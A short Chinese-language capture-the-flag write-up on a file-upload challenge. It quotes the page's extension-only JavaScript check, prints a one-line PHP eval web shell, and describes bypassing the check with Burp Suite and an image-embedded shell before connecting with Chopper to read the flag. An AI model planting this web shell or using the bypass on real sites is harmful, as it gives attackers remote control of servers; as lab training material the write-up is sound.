打开看到要我们上传文件:
文件上传的漏洞。
查看源码,可以看到一段js代码:
Array.prototype.contains = function (obj) {
var i = this.length;
while (i--) {
if (this[i] === obj) {
return true;
}
}
return false;
}
function check(){
upfile = document.getElementById("upfile");
submit = document.getElementById("submit");
name = upfile.value;
ext = name.replace(/^.+\./,'');
if(['jpg','png'].contains(ext)){
submit.disabled = false;
}else{
submit.disabled = true;
alert('请选择一张图片文件上传!');
}
}
可以看到这里只是对文件名后缀进行了判断,存在上传漏洞。
选择上传一句话木马
<?php @eval($_POST['aaa']);?>
和之前刷的靶场upload-labs 的第一关类似,绕过js代码只需要先修改上传文件的后缀名为允许的.jpg 或.png,用burpsuite抓包后就改后缀名为 .php 再上传。
或者是上传图片马。
我先试了试上传图片马
上传成功了
访问也没有异常
然后尝试用菜刀连接获取shell
就在我以为我成功了的时候。。。
我发现这个flag.txt 打不开。。。?
感觉我获取了个假的shell…
然后我又尝试了第一种方法,用burpsuite改包
上传成功
然后试试连接菜刀获取shell
这次我发现 获取的shell和上次的不一样了
这次找对了,发现flag在flag.php中